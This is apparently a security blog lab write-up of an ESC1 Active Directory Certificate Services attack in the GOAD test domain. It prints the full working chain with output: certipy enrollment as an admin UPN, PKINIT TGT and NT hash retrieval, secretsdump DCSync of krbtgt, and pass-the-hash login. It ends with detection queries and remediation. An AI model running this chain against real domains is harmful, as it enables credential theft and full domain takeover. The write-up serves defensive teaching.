---
title: "AD CS Part 2: ESC1 Exploitation: RPC Targeting, PKINIT Authentication, and Forest Compromise"
description: "Weaponizing the ESC1 certificate template on ESSOS-CA: MS-WCCE RPC endpoint resolution, PKINIT Kerberos TGT issuance via weak UPN mapping, and full forest takeover using DRSUAPI DCSync."
date: 2026-11-05
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/posts/ad-cs-esc1-domain-admin/
---

## Attack Surface Overview: The ESC1 Misconfiguration

In Active Directory Certificate Services, **ESC1** represents the most direct privilege escalation vector from an unprivileged domain user account to Domain Administrator. It occurs when a published certificate template satisfies three concurrent conditions:

1. **Broad Enrollment Rights:** The template DACL grants `Enroll` or `AutoEnroll` permissions to a broadly accessible group such as `Authenticated Users` or `Domain Users`.
2. **Enrollee-Supplied Subject:** The template's `mspki-certificate-name-flag` includes the bitmask flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` (`0x00010000`). This instructs the CA to accept arbitrary Subject Alternative Name (`SAN`) attributes supplied in the certificate signing request rather than constructing the SAN from the requester's Active Directory object.
3. **Client Authentication EKU:** The template's `pKIExtendedKeyUsage` contains the `Client Authentication` OID (`1.3.6.1.5.5.7.3.2`) or `Smart Card Logon` OID (`1.3.6.1.4.1.311.20.2.2`), enabling the issued certificate to be used in RFC 4556 Kerberos PKINIT exchanges.

When these conditions align, any authenticated principal can request a valid X.509 certificate specifying the identity of a Tier-0 administrator (such as `daenerys.targaryen@essos.local`), present the certificate to the KDC, and receive an authentic TGT with full administrative privileges.

---

## Phase 1: RPC Endpoint Resolution and Certificate Enrollment

During initial testing against the `essos.local` environment, issuing a standard certificate request against the domain controller fails with an RPC error:

```bash
$ certipy-ad req -u missandei@essos.local -p fr3edom -ca ESSOS-CA -template ESC1 \
    -upn daenerys.targaryen@essos.local -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[!] Failed to resolve dynamic endpoint 91AE6020-9E3C-11CF-8D7C-00AA00C091BE: ept_s_not_registered
```

### Protocol Mechanics: Why `ept_s_not_registered` Occurs

The Windows Client-to-Certificate Authority protocol (`[MS-WCCE]`) executes over RPC (`ncacn_ip_tcp`). Under this protocol:

1. The client connects to the RPC Endpoint Mapper (`EPM`) on TCP port `135` of the specified target IP (`192.168.56.12`, the Domain Controller `MEEREEN`).
2. The client requests the dynamic high-port binding for the `ICertRequestD2` interface UUID:
   ```bash
   UUID: 91AE6020-9E3C-11CF-8D7C-00AA00C091BE
   Version: 0.0
   ```
3. Because `ESSOS-CA` is hosted on member server `BRAAVOS` (`192.168.56.23`) rather than on the Domain Controller, the Domain Controller's endpoint mapper returns status code `0x000006D9` (`ept_s_not_registered`).

To resolve this, the client must explicitly direct the RPC request to the host actually executing the `certsvc` service using the `-target` flag:

```bash
$ certipy-ad req -u missandei@essos.local -p fr3edom -ca ESSOS-CA -template ESC1 \
    -upn daenerys.targaryen@essos.local -target braavos.essos.local -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN 'daenerys.targaryen@essos.local'
[*] Certificate has no object SID
[*] Saving certificate and private key to 'daenerys.targaryen.pfx'
```

The CA processes the request, embeds `daenerys.targaryen@essos.local` as the `Subject Alternative Name` (`szOID_SUBJECT_ALT_NAME2`, `2.5.29.17`), signs the certificate with its private key, and returns the certificate alongside the generated private key in a PKCS#12 (`.pfx`) archive.

---

## Phase 2: PKINIT Pre-Authentication and Weak UPN Mapping

With `daenerys.targaryen.pfx` saved locally, the certificate must be exchanged for a Kerberos Ticket Granting Ticket via **PKINIT (RFC 4556)**.

```bash
$ certipy-ad auth -pfx daenerys.targaryen.pfx -dc-ip 192.168.56.12
[*] Certificate identities:
[*]     SAN UPN: 'daenerys.targaryen@essos.local'
[*] Using principal: 'daenerys.targaryen@essos.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Got hash for 'daenerys.targaryen@essos.local': aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a
```

### The Weak Binding Nuance

The enrollment output noted: `Certificate has no object SID`. This occurs because the `ESC1` template specifies `mspki-enrollment-flag` containing `0x00080000` (`CT_FLAG_NO_SECURITY_EXTENSION`), omitting the Microsoft-specific `szOID_NTDS_CA_SECURITY_EXT` (`1.3.6.1.4.1.311.25.2`).

When a certificate lacks an embedded object SID:

- On unpatched or moderately configured Domain Controllers (`StrongCertificateBindingEnforcement = 0` or `1`), the KDC falls back to matching the SAN UPN (`daenerys.targaryen@essos.local`) directly against LDAP `userPrincipalName`.
- The KDC accepts the match, generates the PAC for `daenerys.targaryen`, and returns an authentic TGT in the `AS-REP`.
- Certipy extracts the user's NT hash from the PAC cache data returned in the ticket exchange: `34534854d33b398b66684072224bb47a`.

If `StrongCertificateBindingEnforcement = 2` were configured on the KDC, the authentication attempt would be rejected with `KDC_ERR_CLIENT_NAME_MISMATCH` because the certificate does not carry a verifiable object SID extension.

<figure class="diagram">
<svg viewBox="0 0 760 336" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="The ESC1 attack pipeline in three phases. Phase 1: missandei requests an ESC1 certificate from ESSOS-CA on braavos supplying the SAN UPN for daenerys.targaryen. Phase 2: PKINIT authentication to KDC on meereen maps the certificate to daenerys by UPN due to weak binding, returning her TGT and NT hash. Phase 3: DRSUAPI DCSync against DC03 dumps krbtgt and Administrator hashes, fully compromising essos.local.">
  <defs>
    <marker id="esc1-m-crit" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="6" markerHeight="6" orient="auto">
      <path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" />
    </marker>
  </defs>
  <text x="12" y="20" class="dg-muted">ESC1 EXPLOITATION · ENROLLEE SUPPLIES SUBJECT → PKINIT UPN MAPPING → DCSYNC</text>
  <rect x="12" y="36" width="224" height="220" rx="8" class="dg-box" />
  <text x="26" y="60" class="dg-label">1 · CERTIFICATE ENROLLMENT</text>
  <text x="26" y="78" class="dg-mono dg-compact">Target: ESSOS-CA (braavos .23)</text>
  <text x="26" y="98" class="dg-muted dg-compact">Caller: missandei (Domain User)</text>
  <text x="26" y="116" class="dg-mono dg-compact">certipy req -ca ESSOS-CA</text>
  <text x="26" y="132" class="dg-mono dg-compact">-template ESC1 -upn daenerys</text>
  <rect x="22" y="146" width="204" height="64" rx="6" class="dg-box-accent" />
  <text x="32" y="166" class="dg-accent">ENROLLEE SUPPLIES SUBJECT</text>
  <text x="32" y="184" class="dg-mono dg-compact">CT_FLAG_ENROLLEE_SUPPLIES_SUBJ</text>
  <text x="32" y="200" class="dg-muted dg-compact">Issued X.509 cert has no SID OID</text>
  <text x="26" y="238" class="dg-ok">Output: daenerys.pfx keypair</text>
  <line x1="236" y1="146" x2="266" y2="146" class="dg-line-crit" marker-end="url(#esc1-m-crit)" />
  <text x="251" y="138" text-anchor="middle" class="dg-crit dg-compact">.pfx</text>
  <rect x="268" y="36" width="224" height="220" rx="8" class="dg-box" />
  <text x="282" y="60" class="dg-label">2 · PKINIT PRE-AUTH</text>
  <text x="282" y="78" class="dg-mono dg-compact">Target: KDC (meereen .12)</text>
  <text x="282" y="98" class="dg-muted dg-compact">certipy auth -pfx daenerys.pfx</text>
  <text x="282" y="116" class="dg-mono dg-compact">AS-REQ (PA-PK-AS-REQ)</text>
  <text x="282" y="132" class="dg-mono dg-compact">KDC maps cert without SID</text>
  <rect x="278" y="146" width="204" height="64" rx="6" class="dg-box-accent" />
  <text x="288" y="166" class="dg-accent">WEAK CERTIFICATE BINDING</text>
  <text x="288" y="184" class="dg-mono dg-compact">SAN UPN matches daenerys</text>
  <text x="288" y="200" class="dg-muted dg-compact">StrongBindingEnforcement &lt; 2</text>
  <text x="282" y="238" class="dg-ok">Output: daenerys TGT + NT Hash</text>
  <line x1="492" y1="146" x2="522" y2="146" class="dg-line-crit" marker-end="url(#esc1-m-crit)" />
  <text x="507" y="138" text-anchor="middle" class="dg-crit dg-compact">TGT</text>
  <rect x="524" y="36" width="224" height="220" rx="8" class="dg-box-danger" />
  <text x="538" y="60" class="dg-label dg-danger">3 · DOMAIN TAKEOVER</text>
  <text x="538" y="78" class="dg-mono dg-compact">Target: DC03 meereen (.12)</text>
  <text x="538" y="98" class="dg-accent dg-compact">daenerys ∈ Domain Admins</text>
  <text x="538" y="116" class="dg-mono dg-compact">DRSUAPI DsGetNCChanges</text>
  <text x="538" y="132" class="dg-mono dg-compact">DCSync forest root credentials</text>
  <rect x="534" y="146" width="204" height="64" rx="6" class="dg-box" />
  <text x="544" y="166" class="dg-crit">ROOT SECRETS DUMPED</text>
  <text x="544" y="184" class="dg-mono dg-compact">krbtgt hash: 7e486cbf…</text>
  <text x="544" y="200" class="dg-danger">Admin hash: 54296a48…</text>
  <text x="538" y="238" class="dg-crit">STATUS: essos.local PWNED</text>
  <rect x="12" y="268" width="736" height="56" rx="8" class="dg-box" />
  <text x="26" y="291" class="dg-muted">EXPLOITATION IMPACT ·</text>
  <text x="165" y="291" class="dg-label">1 unprivileged RPC request collapses all Tier-0 boundaries into Domain Admin</text>
  <text x="26" y="310" class="dg-mono dg-compact">DCSYNC EVIDENCE: krbtgt: 7e486cbf… · daenerys: 34534854… · Administrator: 54296a48…</text>
</svg>
<figcaption>The ESC1 flow: a certificate request pinned to the CA host, a PKINIT handshake mapping the certificate to <code>daenerys.targaryen</code> by UPN, and a DCSync yielding full forest control.</figcaption>
</figure>

---

## Phase 3: Domain Takeover via DRSUAPI DCSync

Because `daenerys.targaryen` is a member of `Domain Admins`, her account holds directory replication extended rights over the domain partition root (`DC=essos,DC=local`):

- `DS-Replication-Get-Changes` (`1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`)
- `DS-Replication-Get-Changes-All` (`1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`)

Using `impacket-secretsdump` with her recovered NT hash, we invoke `DRSUAPI` RPC function `DsGetNCChanges` to simulate a Domain Controller replication request and dump the `krbtgt` account hash:

```bash
$ impacket-secretsdump essos.local/daenerys.targaryen@192.168.56.12 \
    -hashes aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a -just-dc-user krbtgt
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7e486cbfb7d10ec86b7f8384f763d60d:::
```

### Full Forest Access Verification

With the `krbtgt` hash (`7e486cbfb7d10ec86b7f8384f763d60d`) extracted, Golden Ticket generation is possible for any arbitrary identity across `essos.local`. To confirm direct administrative execution, secretsdump also yielded the built-in `Administrator` hash (`54296a48...`):

```bash
$ nxc smb 192.168.56.12 -u Administrator -H 54296a48cd30259cc88095373cec24da -d essos.local
SMB  192.168.56.12  445  MEEREEN  [+] essos.local\Administrator:54296a48cd30259cc88095373cec24da (Pwn3d!)
```

The entire compromise chain required a single unprivileged RPC certificate request. No password cracking, Kerberoasting, or complex multi-hop ACL walks were required.

---

## Detection Engineering and Remediation

### Forensic Artifacts and Event Signatures

| Event ID | Provider | Description | Critical Fields to Inspect |
| :--- | :--- | :--- | :--- |
| **`4886`** | Active Directory CS | Certificate request received | Requester account (`missandei`), template name (`ESC1`), requested attributes (`SAN: daenerys.targaryen@essos.local`). |
| **`4887`** | Active Directory CS | Certificate issued | Subject Alternative Name mismatching requester identity. |
| **`4768`** | Kerberos KDC | TGT requested via PKINIT | `Pre-Authentication Type = 16`, Target Account = Tier-0 Administrator (`daenerys.targaryen`). |
| **`4662`** | Directory Service | Extended rights accessed | Access Mask `0x100`, Access Request: `DS-Replication-Get-Changes-All` from a non-DC IP address. |

```kql
// KQL Rule: Flag Certificates Issued with SAN Divergence
SecurityEvent
| where EventID == 4887
| extend Requester = tostring(parse_xml(EventData).Data[0].["#text"])
| extend SAN = tostring(parse_xml(EventData).Data[4].["#text"])
| extend Template = tostring(parse_xml(EventData).Data[2].["#text"])
| where Requester != "" and SAN != "" and Requester != SAN
| project TimeGenerated, Computer, Requester, SAN, Template
```

### Remediation Protocol

1. **Remove Enrollee-Supplied SAN Flag:**
   Modify the vulnerable template to generate subjects from Active Directory object attributes:
   ```powershell
   Set-ADObject -Identity "CN=ESC1,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local" `
       -Replace @{'mspki-certificate-name-flag' = 0x0}
   ```
2. **Enforce Strong Certificate Binding (KB5014754):**
   Configure Domain Controllers to strictly require Object SID validation:
   ```cmd
   reg add "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement /t REG_DWORD /d 2 /f
   ```
3. **Restrict Enrollment Permissions:**
   Audit and remove `Domain Users` or `Authenticated Users` from template DACLs that specify Client Authentication or Smart Card Logon EKUs.

---

## Evidence and limits

The `ESC1` certificate enrollment, PKINIT exchange, and subsequent DCSync were executed against `ESSOS-CA` (`192.168.56.23`) and `MEEREEN` (`192.168.56.12`) in the isolated GOAD lab. All certificates, keys, and dumped hashes belong to the synthetic `essos.local` domain.

## References

- **Orange Cyberdefense, GOAD:** [orange-cyberdefense.github.io/GOAD](https://orange-cyberdefense.github.io/GOAD/)
- **SpecterOps, Certified Pre-Owned:** [posts.specterops.io](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
- **The Hacker Recipes, Certificate Templates:** [thehacker.recipes/ad/movement/adcs/certificate-templates](https://www.thehacker.recipes/ad/movement/adcs/certificate-templates)
- **Microsoft, Kerberos PKINIT Protocol Specification (RFC 4556):** [datatracker.ietf.org/doc/html/rfc4556](https://datatracker.ietf.org/doc/html/rfc4556)
- **MITRE ATT&CK, Steal or Forge Authentication Certificates (T1649):** [attack.mitre.org/techniques/T1649/](https://attack.mitre.org/techniques/T1649/)
- **MITRE ATT&CK, OS Credential Dumping: DCSync (T1003.006):** [attack.mitre.org/techniques/T1003/006/](https://attack.mitre.org/techniques/T1003/006/)